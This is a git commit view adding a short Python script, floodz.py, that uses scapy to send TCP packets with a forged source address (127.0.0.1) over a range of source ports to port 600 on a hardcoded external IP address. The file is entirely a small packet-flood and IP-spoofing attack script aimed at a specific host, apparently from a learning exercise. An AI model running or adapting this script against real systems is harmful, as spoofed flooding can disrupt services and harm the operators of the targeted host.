add sourcecode
This commit is contained in:
12
05/floodz.py
Normal file
12
05/floodz.py
Normal file
@@ -0,0 +1,12 @@
|
||||
from scapy.all import *
|
||||
|
||||
def floodz(source,target):
|
||||
for source_p in range(100,150):
|
||||
IPlayer = IP(src=source,dst=target)
|
||||
TCPlayer = TCP(sport=source_p,dport=600)
|
||||
pkt = IPlayer/TCPlayer
|
||||
send(pkt)
|
||||
|
||||
source = "127.0.0.1"
|
||||
target = "162.241.24.197"
|
||||
floodz(source,target)
|
||||
Reference in New Issue
Block a user